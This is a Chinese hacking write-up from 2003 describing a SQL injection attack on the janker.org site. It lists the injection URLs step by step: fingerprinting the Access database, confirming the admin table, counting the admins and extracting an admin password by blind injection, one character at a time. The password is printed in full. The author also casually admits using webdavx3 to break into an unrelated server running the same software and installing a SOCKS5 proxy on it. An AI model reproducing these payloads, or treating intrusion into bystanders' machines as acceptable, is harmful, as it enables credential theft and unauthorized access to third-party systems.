我是这样渗透入侵孤独剑客网站(janker.org)的
作者:N.E.V.E.R
日期:2003年5月22日
出自http://www.janker.org
不成功的入侵还是有点借鉴价值的,我想同样的方法换一个地方的话,说不定就成功了。
目的地www.janker.org,呵呵,应该算是授权了的吧。传说中的黑客叔叔们都是先踩点的,
如果我有条件的话,一定先到机房附近去看看,兴许还能捡到点密码什么的。不过实在太远,买车
票过去的时间说不定我都可以打一把Windforce了,还是来点远程的吧。
拿出扫描器甲乙丙丁一阵乱扫,呵呵,结果大家都能猜到,就不废话了。反正80和23是开着的
,这个结果要记住。
系统漏洞没有的话,有几种方法可以供选择:1、渗透;2、脚本漏洞。当然,还可以玩
D.D.o.S,还可以背上炸药包炸主机,还可以用拖网把电缆弄断,还可以开飞机把那栋楼撞了,等
等。当然这些要看攻击者的想象力,我还是老老实实的看脚本。
找啊找啊,找了几秒钟,找到一个地方没有很好的处理参数id。
http://www.janker.org/show.asp?id=2;--
出错了。“Microsoft JET Database Engine 错误 "80040e14" 在 SQL 语句结尾之后找到字
符。”嗯,大虾们肯定已经看出来了吧?我想来想去觉得这句话告诉了两件事情:一、用的是
ACCESS数据库;二、脚本里面兴许有什么" where id=" & request("id")之类的没有过滤的洞洞。
关键是怎么用呢?
我还是决定像瞎子摸象一样再看看,猜了一会儿后,觉得一个发布系统远程总会有一个管理系
统吧,猜猜表名看看。
http://www.janker.org/show.asp?id=2 or id in (select id from admin)
OK,没有报错,那么说起来存在一个admin的表,而且这张表里面有id项,其实后来想想这样
不好,子查询只是要确定一下有没有admin这张表,用..... id <> (select count(*) from
admin)比较好。
继续猜,猜了几个常见的列名,嗯,得到的结果是有user,password。到这里的时候,我觉得
我走了很多弯路,虽然第一直觉是这是一个免费的公开源代码的东东,但是因为一下子我没有认出
来是什么(我看过的东西很少啊,呵呵……),就没有去找下载,现在猜得头晕,觉得还是应该去
找代码来看比较好。
于是我的方向又转到如何去找相同的东东。呵呵,很笨的,我想到了在google.coms搜索
fir.asp,因为fir.asp是很奇怪的一个名字,结果我找到了很多很多相同的站点。我觉得几千个结
果里面总有非常容易入侵的机器吧,嗯,我用的是webdavx3,大约失败60次以后,终于找了一个进
去。当然啦,我只是要看看代码,没有别的意思,只是在这台机器上装了socks5代理(呵呵),补
上漏洞就出来了。
这个时候已经临近熄灯时间,我就干脆断了网看代码,嗯,应该说是看那个Access数据库。早
这样的话,我就会少走好多弯路啊,不过猜猜也很有意思,大脑长期不用会生锈的。
有人想到直接下数据库吧?呵呵,哪有这么容易的事情啊,数据库的名字百分之一百二被改掉
了。
嗯,反正我已经知道admin表是怎样的了,猜猜密码也还不算是太累的工作。先看看admin里面
有几个管理员。
http://www.janker.org/show.asp?id=3 AND 1<(select count(*) from admin)
嗯,比一个多……
http://www.janker.org/show.asp?id=3 AND 10<(select count(*) from admin)
没有十个……
(省略无聊过程若干)
http://www.janker.org/show.asp?id=3 AND 5=(select count(*) from admin)
有五个管理员呢,随便找一个破一下啊……
我选的是id=1的,我先猜的是它的密码第一位,呵呵,密码总要一位一位的猜嘛……
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,1)="q")
嗯,显示是“未指定所需参数!”那么第一位不是q了,如果我们提交的SQL查询正确执行——也就
是我们猜对了的话,是会出来id=3的那篇文章的(前面的那些也一样)。继续来吧……
w、e、r、t、y……猜了一会儿,结果出来了。
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,1)="j")
显示了id为3的那篇文章,密码第一位为j。
暂停一下,如果密码有个2、30位的话,岂不是要猜死了,先看看密码有几位再说吧。方法和
猜管理员的个数是一样的,直接给出结果
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where len(password)=7
and id=1)
7位,刚好在我的心理承受范围之内,8位以上的话就要考虑写程序猜了。猜测的过程是美好的
,你看到第一位是j后会怎样想呢,优先猜的肯定是a、A、4、@、k之类的吧?如果你猜到了前面三
位是jk2,后面的00也会很自信的写上去吧?最后的密码是jk2008!,呵呵,如果你在30分钟内没有
一位一位的猜出来的话,就不要做hacker/cracker了。还是给出过程:
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,2)="jk")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,3)="jk2")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,4)="jk20")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,5)="jk200")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,6)="jk2008")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,7)="jk2008!")
嗯,大家在考场上有没有掷色子做选择题的经历啊?一般都是扔两次吧,呵呵,验算一下也是
很必要的哦。顺便把用户名也猜出来了……
http://www.janker.org/show.asp?id=3